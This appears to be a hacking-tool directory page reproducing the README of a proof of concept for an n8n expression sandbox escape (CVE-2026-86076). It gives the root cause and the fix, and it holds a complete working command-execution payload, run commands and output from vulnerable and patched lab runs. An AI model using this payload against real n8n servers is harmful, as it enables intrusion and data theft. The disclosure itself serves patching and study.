Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — n8n expression sandbox escape via class-field __sanitize rebinding (backend RCE). Verified v2.37.6 (uid=node) / v2.37.7. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-86076-poc
Vulnerability AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload Development
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — n8n expression sandbox escape via class-field __sanitize rebinding (backend RCE). Verified v2.37.6 (uid=node) / v2.37.7.

View Repository
1110 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-86076 — n8n expression sandbox escape via class-field sanitizer rebinding

Authenticated (workflow-edit) code execution in the n8n backend process. The expression compiler injects this.__sanitize(key) for every computed member access; a class field literally named __sanitize re-binds that sanitizer for the rest of the class body, which lets constructor through and lands on the real Function constructor → process.mainModule.require('child_process').

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Affected: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • Fixed: 1.123.76 / 2.37.7 / 2.38.2
  • Fix commit: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody rejects reserved member names) and packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data is now a lexical binding instead of this).

Root cause

PrototypeSanitizer (an AST after hook) rewrites

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode is the expression's data object. When the expression contains no function literal, dataNode was emitted as this, not as the lexical ___n8n_data:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Inside a class field initializer this is the instance, so a field named __sanitize takes over the sanitizer call. A pass-through stand-in is enough — [].concat.bind([]) returns ['constructor'], and obj[['constructor']] coerces to the key constructor:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Emitted code (verified in-container with the real compiler):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

Before the patch nothing rejected a class member called __sanitize (RESERVED_VARIABLE_NAMES was only checked for bound identifiers).

Engine note (important)

The payload needs the in-process expression engine:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

With the default vm engine the same expression still defeats the AST sanitizer ([]['constr'+'uctor'] is no longer blocked — verified), but the code runs inside the isolated-vm isolate, which has no process.mainModule; no host code execution. 2.37.7 rejects the expression under both engines.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Both files pin N8N_EXPRESSION_ENGINE=legacy, SQLite, bind-mounted ./data-*. The PoC creates the owner account itself (POST /rest/owner/setup + /rest/login).

Run

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Vulnerable — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Side effect read back from the container (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Patched — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Evidence channel

The command's stdout is returned by execSync(...).toString() as the Set node's value and read back from GET /rest/executions/<id>?includeData=true (n8n "flatted" payload, decoded in the script). The on-disk side effect (/tmp/PWNED_86076) was additionally confirmed with docker exec.

Files

filecontent
n8n_poc.pystdlib-only PoC (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txtraw runs
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonJSON evidence
side_effect_2.37.6.txt, side_effect_2.37.7.txtcontainer-side check
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtcontainer logs
Download Tool